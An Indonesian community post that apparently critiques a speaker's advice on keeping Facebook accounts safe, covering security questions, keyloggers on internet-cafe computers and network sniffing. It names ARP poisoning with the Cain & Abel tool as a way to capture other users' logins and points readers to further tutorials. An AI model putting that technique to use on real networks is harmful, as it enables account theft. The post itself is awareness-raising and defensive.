Narasumber mengatakan bahwa sebaiknya tidak menggunakan jasa email gratis ketika mendaftarkan diri ke facebook, sebaiknya menggunakan email berbayar ataupun email pribadi. pertanyaan saya adalah apakah semua orang mampu dari segi finansial dan paham dari segi pengetahuan tentang bagaimana menggunakan email berbayar, apalagi email pribadi karena banyak pengguna internet masih tergolong awam terlebih tidak semua pemilik account facebook adalah pengelola website.
Narasumber menjelaskan bahwa kebanyakan pembajakan account facebook dilakukan lewat tehnik social enginering dan lost password dengan cara memecahkan pertanyaan pribadi sang pemilik email yang di daftarkan ke facebook.saya mengkritik hal ini dikarenakan sepertinya narasumber hanya membayangkan hal tersebut dan tidak pernah melakukan (menguji) praktik secara langsung (ketahuan dah ane...tp tunggu dulu, ingat motto kita, HACKING BUKAN SEKEDAR TEORI).

Pada email yahoo tersedia fitur untuk membuat pertanyaan keamanan pribadi tanpa menggunakan pertanyaan yang disediakan oleh yahoo, anda bisa membuat pertanyaan sendiri sesuai kemauan anda.anda juga bisa membuat pertanyaan yang tidak punya relevansi sama sekali dengan jawabannya, misal apa makanan favorit saya anda isi dengan jawaban sepeda motor. jika ingin yang lebih rumit, secara berkala anda bisa membuat account yahoo anda terkunci dengan menjawab pertanyaan pribadi anda dengan jawaban yang salah sebanyak 10 x (otomatis account yahoo anda terblokir dan hanya bisa di reset 24 jam kemudian).Terakhir jangan pernah menshare data pribadi anda pada account yang anda miliki.
Ketika ditanyakan bagaimana menghindari atau mengetahui bahwa pada sebuah komputer terdapat keylogger serta bagaimana penanganannya, narasumber memberikan jawaban yang menurut saya justru terdengar seperti lelucon. narasumber mengatakan untuk mengetahui bahwa terdapat keylogger pada sebuah komputer anda dapat melakukan scaning secara menyeluruh pada komputer tersebut dan jika ternyata keylogger tidak bisa di delete maka anda harus menginstall ulang sistem operasi yang anda gunakan. sepanjang jawaban di atas merujuk pada komputer pribadi atau komputer stand alone, saya sepakat tapi jika yang dimaksudkan adalah komputer manapun baik komputer pribadi yang terkoneksi dengan internet, komputer standalone, serta semua komputer pada jaringan network maka saya sangat tidak sepakat.

Bagaimana mungkin anda ingin menscan komputer warnet misalnya sementara untuk melakukan scanning system secara menyeluruh membutuhkan waktu yang tidak sedikit dan pada sisi yang lain billing anda terus berjalan tersenyum karena kantong anda bakal merogoh kocek lebih dalam. selanjutnya apakah anda akan menginstall ulang system operasi pada komputer warnet yang terdapat keylogger di dalamnya?jawaban saya hanyalah tertawa (emang ane administrator jaringan atau pengguna warnet yah?) .
Kritikan saya yang terakhir adalah tidak adanya pembahasan mengenai sniffer, ketika ada oknum yang melakukan aktifitas sniffing di dalam jaringan anda maka point 1 & 2 tidak diperlukan lagi dikarenakan oknum tersebut dapat memperoleh hak login atau hak akses account facebook anda dengan duduk santai sambil merokok plus segelas kopi dan menunggu sniffer mendapatkan hak akses anda.

Contohnya yaitu penggunaan tools cain abel pada modus ARP poisoning.lebih lanjut mengenai pembahasan modus ARP poisoning pada tools cain abel, anda bisa mencari lewat paman google atau buku karangan bang S'to "SENI TEKNIK HACKING 2" yang juga menyertakan video tutorial mengenai ARP poisoning.

Demikian info yang ingin saya bagikan kepada semua anggota komunitas. pesan saya adalah jangan meninggalkan pengguna awam dalam masalah keamanan, mereka tidak tahu mengenai apa itu source code, apa itu brute force attack, SQL injection, apa itu algoritma dan hal-hal rumit yang teman-teman pahami,

Komentar anda sangat diperlukan untuk proses pembelajaran, baik untuk anda dan diri saya sendiri dikarenkan masih banyaknya hal-hal lain yang tidak dimuat baik karena kekurang tahuan saya ataupun kealpaan saya sebagai manusia biasa